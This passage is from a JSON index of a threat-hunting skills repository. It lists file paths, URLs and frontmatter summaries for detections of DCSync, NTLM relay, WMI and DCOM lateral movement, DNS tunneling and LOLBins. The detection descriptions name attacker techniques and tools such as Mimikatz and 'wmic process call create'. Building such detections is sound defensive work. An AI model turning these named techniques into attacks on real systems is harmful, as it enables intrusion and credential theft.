response.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","data-exfiltration","dlp","network-analysis","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0024","AML.T0056"],"nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1048"]},"isInternal":false,"tokens":1140,"sizeBytes":4786},{"name":"api-reference.md","path":"skills/hunting-for-data-staging-before-exfiltration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-staging-before-exfiltration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-staging-before-exfiltration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":748,"sizeBytes":2348},{"name":"SKILL.md","path":"skills/hunting-for-data-staging-before-exfiltration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-staging-before-exfiltration/SKILL.md","title":"hunting-for-data-staging-before-exfiltration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-staging-before-exfiltration%2FSKILL.md -->","frontmatter":{"name":"hunting-for-data-staging-before-exfiltration","description":"Detect data-staging activity (MITRE ATT&CK T1074) by analyzing EDR/Sysmon process-creation and file-system telemetry (Event ID 4688, Sysmon 1/11) for 7-Zip/RAR/tar archive creation, unusual temp or hidden folder access, and anomalous consolidation of files from multiple directories. Use when hunting for pre-exfiltration staging behavior, building detection rules for archiver abuse, or validating monitoring coverage for T1074.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["data-staging","exfiltration","t1074","archive-detection","edr","threat-hunting","dlp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1048"]},"isInternal":false,"tokens":752,"sizeBytes":3216},{"name":"api-reference.md","path":"skills/hunting-for-dcom-lateral-movement/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dcom-lateral-movement/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcom-lateral-movement%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1528,"sizeBytes":5744},{"name":"SKILL.md","path":"skills/hunting-for-dcom-lateral-movement/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dcom-lateral-movement/SKILL.md","title":"hunting-for-dcom-lateral-movement","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcom-lateral-movement%2FSKILL.md -->","frontmatter":{"name":"hunting-for-dcom-lateral-movement","description":"Hunt for DCOM-based lateral movement (MITRE ATT&CK T1021.003) by detecting abuse of MMC20.Application, ShellBrowserWindow, and ShellWindows COM objects via Sysmon Event ID 1/3 correlation, WMI event analysis, and RPC endpoint mapper traffic on port 135. Use when investigating suspicious mmc.exe/dllhost.exe child processes, building T1021.003 detections, or auditing DCOM exposure during purple-team exercises.\n","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","DCOM","lateral-movement","T1021.003","Sysmon","MMC20","ShellWindows","ShellBrowserWindow","COM-objects","WMI","RPC"],"version":"1.0","author":"mukul975","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1021"]},"isInternal":false,"tokens":7744,"sizeBytes":29813},{"name":"api-reference.md","path":"skills/hunting-for-dcsync-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dcsync-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcsync-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1032,"sizeBytes":3464},{"name":"SKILL.md","path":"skills/hunting-for-dcsync-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dcsync-attacks/SKILL.md","title":"hunting-for-dcsync-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dcsync-attacks%2FSKILL.md -->","frontmatter":{"name":"hunting-for-dcsync-attacks","description":"Detect DCSync attacks (MITRE ATT&CK T1003.006) by analyzing Windows Event ID 4662 (AccessMask 0x100) for DS-Replication-Get-Changes and DS-Replication-Get-Changes-All requests issued by non-domain-controller accounts. Use when hunting for DCSync credential theft, after detecting Mimikatz-class tooling, or during incident response and purple-team exercises involving Active Directory replication abuse.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","dcsync","active-directory","credential-access","t1003.006","mimikatz","windows","dfir"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":910,"sizeBytes":3586},{"name":"api-reference.md","path":"skills/hunting-for-defense-evasion-via-timestomping/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-defense-evasion-via-timestomping/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-defense-evasion-via-timestomping%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":538,"sizeBytes":1964},{"name":"SKILL.md","path":"skills/hunting-for-defense-evasion-via-timestomping/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-defense-evasion-via-timestomping/SKILL.md","title":"hunting-for-defense-evasion-via-timestomping","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-defense-evasion-via-timestomping%2FSKILL.md -->","frontmatter":{"name":"hunting-for-defense-evasion-via-timestomping","description":"Detect NTFS timestamp manipulation (MITRE T1070.006) by comparing $STANDARD_INFORMATION vs $FILE_NAME timestamps in the MFT. Uses analyzeMFT and Python to identify files with anomalous temporal patterns indicating anti-forensic timestomping activity.\n","domain":"cybersecurity","subdomain":"threat-hunting","tags":["timestomping","ntfs-forensics","mft-analysis","defense-evasion"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1027"]},"isInternal":false,"tokens":3501,"sizeBytes":14595},{"name":"api-reference.md","path":"skills/hunting-for-dns-based-persistence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-based-persistence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-based-persistence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":682,"sizeBytes":2657},{"name":"SKILL.md","path":"skills/hunting-for-dns-based-persistence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-based-persistence/SKILL.md","title":"hunting-for-dns-based-persistence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-based-persistence%2FSKILL.md -->","frontmatter":{"name":"hunting-for-dns-based-persistence","description":"Hunts for DNS-based persistence mechanisms such as DNS hijacking, dangling CNAME records enabling subdomain takeover, wildcard DNS abuse, and unauthorized zone or NS delegation changes, using passive DNS history (SecurityTrails API), Route53/Azure DNS/Cloudflare audit logs, and zone transfer analysis. Use when investigating suspected DNS hijacking or subdomain takeover, or when threat hunting for DNS record tampering that persists across credential rotations and endpoint reimaging.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["dns","persistence","threat-hunting","passive-dns","dns-hijacking","subdomain-takeover","securitytrails"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":672,"sizeBytes":3160},{"name":"template.md","path":"skills/hunting-for-dns-tunneling-with-zeek/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-tunneling-with-zeek/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":257,"sizeBytes":1046},{"name":"api-reference.md","path":"skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-tunneling-with-zeek/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":486,"sizeBytes":1567},{"name":"standards.md","path":"skills/hunting-for-dns-tunneling-with-zeek/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-tunneling-with-zeek/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":558,"sizeBytes":2256},{"name":"workflows.md","path":"skills/hunting-for-dns-tunneling-with-zeek/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-tunneling-with-zeek/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":749,"sizeBytes":2508},{"name":"SKILL.md","path":"skills/hunting-for-dns-tunneling-with-zeek/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-dns-tunneling-with-zeek/SKILL.md","title":"hunting-for-dns-tunneling-with-zeek","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-dns-tunneling-with-zeek%2FSKILL.md -->","frontmatter":{"name":"hunting-for-dns-tunneling-with-zeek","description":"Detects DNS tunneling and covert-channel data exfiltration by analyzing Zeek dns.log for high-entropy subdomain queries, excessive query volume, abnormally long query lengths, and unusual DNS record types (TXT/NULL/CNAME). Use when hunting for DNS-based data exfiltration or C2 covert channels in network traffic, or when triaging suspicious DNS query volume/patterns surfaced by Zeek logs.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","dns-tunneling","zeek","data-exfiltration","covert-channel","mitre-t1071-004","network-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","DNS Traffic Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1048"]},"isInternal":false,"tokens":1656,"sizeBytes":6661},{"name":"api-reference.md","path":"skills/hunting-for-domain-fronting-c2-traffic/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-domain-fronting-c2-traffic/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-domain-fronting-c2-traffic%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":578,"sizeBytes":2120},{"name":"SKILL.md","path":"skills/hunting-for-domain-fronting-c2-traffic/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-domain-fronting-c2-traffic/SKILL.md","title":"hunting-for-domain-fronting-c2-traffic","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-domain-fronting-c2-traffic%2FSKILL.md -->","frontmatter":{"name":"hunting-for-domain-fronting-c2-traffic","description":"Detects domain fronting C2 traffic by analyzing SNI-vs-HTTP-Host-header mismatches in proxy logs and inspecting TLS certificate discrepancies with pyOpenSSL. Use when hunting for command-and-control traffic hidden behind legitimate CDN domains, or when investigating proxy/TLS logs for signs of domain fronting evasion.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["domain-fronting","c2-detection","tls-inspection","proxy-logs","pyopenssl","threat-hunting","network-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1071"]},"isInternal":false,"tokens":629,"sizeBytes":2779},{"name":"api-reference.md","path":"skills/hunting-for-lateral-movement-via-wmi/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lateral-movement-via-wmi/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lateral-movement-via-wmi%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":701,"sizeBytes":2584},{"name":"SKILL.md","path":"skills/hunting-for-lateral-movement-via-wmi/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lateral-movement-via-wmi/SKILL.md","title":"hunting-for-lateral-movement-via-wmi","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lateral-movement-via-wmi%2FSKILL.md -->","frontmatter":{"name":"hunting-for-lateral-movement-via-wmi","description":"Detects WMI-based lateral movement (e.g. wmic process call create, Win32_Process.Create()) by analyzing Windows Event ID 4688 and Sysmon Event ID 1 for WmiPrvSE.exe spawning suspicious child processes like cmd.exe or powershell.exe, plus WMI-Activity/Operational events 5857/5860/5861 for subscription-based persistence. Use when hunting for remote code execution via WMI or investigating lateral movement across Windows hosts.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","lateral-movement","wmi","sysmon","mitre-attack","process-creation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1021"]},"isInternal":false,"tokens":652,"sizeBytes":2636},{"name":"template.md","path":"skills/hunting-for-living-off-the-cloud-techniques/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-cloud-techniques/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":725,"sizeBytes":2664},{"name":"api-reference.md","path":"skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":551,"sizeBytes":2156},{"name":"standards.md","path":"skills/hunting-for-living-off-the-cloud-techniques/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-cloud-techniques/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":408,"sizeBytes":1587},{"name":"workflows.md","path":"skills/hunting-for-living-off-the-cloud-techniques/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-cloud-techniques/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":658,"sizeBytes":2994},{"name":"SKILL.md","path":"skills/hunting-for-living-off-the-cloud-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-cloud-techniques/SKILL.md","title":"hunting-for-living-off-the-cloud-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-cloud-techniques%2FSKILL.md -->","frontmatter":{"name":"hunting-for-living-off-the-cloud-techniques","description":"Hunts for adversary abuse of legitimate cloud services (Azure, AWS, GCP, and SaaS platforms) for command-and-control, data staging, and exfiltration, i.e. \"living off the cloud\" tradecraft that blends in with normal cloud API and service activity. Use when threat hunting for cloud-native C2 channels, abnormal use of storage/SaaS services for data staging, or exfiltration hidden in legitimate cloud traffic.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","cloud-abuse","c2","lotc","saas","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1048"]},"isInternal":false,"tokens":871,"sizeBytes":3697},{"name":"template.md","path":"skills/hunting-for-living-off-the-land-binaries/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-land-binaries/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1058,"sizeBytes":3740},{"name":"api-reference.md","path":"skills/hunting-for-living-off-the-land-binaries/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-land-binaries/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":551,"sizeBytes":1958},{"name":"standards.md","path":"skills/hunting-for-living-off-the-land-binaries/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-land-binaries/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":850,"sizeBytes":3135},{"name":"workflows.md","path":"skills/hunting-for-living-off-the-land-binaries/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-land-binaries/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1209,"sizeBytes":4551},{"name":"SKILL.md","path":"skills/hunting-for-living-off-the-land-binaries/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-living-off-the-land-binaries/SKILL.md","title":"hunting-for-living-off-the-land-binaries","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-living-off-the-land-binaries%2FSKILL.md -->","frontmatter":{"name":"hunting-for-living-off-the-land-binaries","description":"Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","lolbins","edr","siem","proactive-detection","defense-evasion"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1027"]},"isInternal":false,"tokens":1344,"sizeBytes":5582},{"name":"template.md","path":"skills/hunting-for-lolbins-execution-in-endpoint-logs/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lolbins-execution-in-endpoint-logs/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":286,"sizeBytes":1212},{"name":"api-reference.md","path":"skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lolbins-execution-in-endpoint-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":509,"sizeBytes":1830},{"name":"standards.md","path":"skills/hunting-for-lolbins-execution-in-endpoint-logs/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lolbins-execution-in-endpoint-logs/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":652,"sizeBytes":2642},{"name":"workflows.md","path":"skills/hunting-for-lolbins-execution-in-endpoint-logs/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lolbins-execution-in-endpoint-logs/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1017,"sizeBytes":3485},{"name":"SKILL.md","path":"skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.md","title":"hunting-for-lolbins-execution-in-endpoint-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-lolbins-execution-in-endpoint-logs%2FSKILL.md -->","frontmatter":{"name":"hunting-for-lolbins-execution-in-endpoint-logs","description":"Hunts for LOLBins (Living Off the Land Binaries) abuse, mapped to MITRE T1218, by analyzing endpoint process-creation logs for suspicious execution patterns of legitimate Windows system binaries used for malicious purposes. Use when reviewing endpoint process telemetry for LOLBins-based defense evasion or building detections for signed-binary proxy execution.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","lolbins","living-off-the-land","endpoint-detection","process-monitoring","mitre-t1218","defense-evasion"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1027"]},"isInternal":false,"tokens":2090,"sizeBytes":8065},{"name":"api-reference.md","path":"skills/hunting-for-ntlm-relay-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-ntlm-relay-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-ntlm-relay-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1153,"sizeBytes":4305},{"name":"SKILL.md","path":"skills/hunting-for-ntlm-relay-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-ntlm-relay-attacks/SKILL.md","title":"hunting-for-ntlm-relay-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-ntlm-relay-attacks%2FSKILL.md -->","frontmatter":{"name":"hunting-for-ntlm-relay-attacks","description":"Detects NTLM relay attacks (MITRE T1557.001) by analyzing Windows Event ID 4624 logon type 3 with NTLMSSP authentication, flagging IP-to-hostname mismatches, Responder/LLMNR poisoning signatures, SMB signing status, and anomalous cross-domain authentication patterns. Use when investigating credential-relay activity in Active Directory or building detections for NTLM relay and coercion-based attacks.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["NTLM-relay","Windows-events","Event-4624","NTLMSSP","Responder","SMB-signing","credential-access","T1557.001","Active-Directory"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community 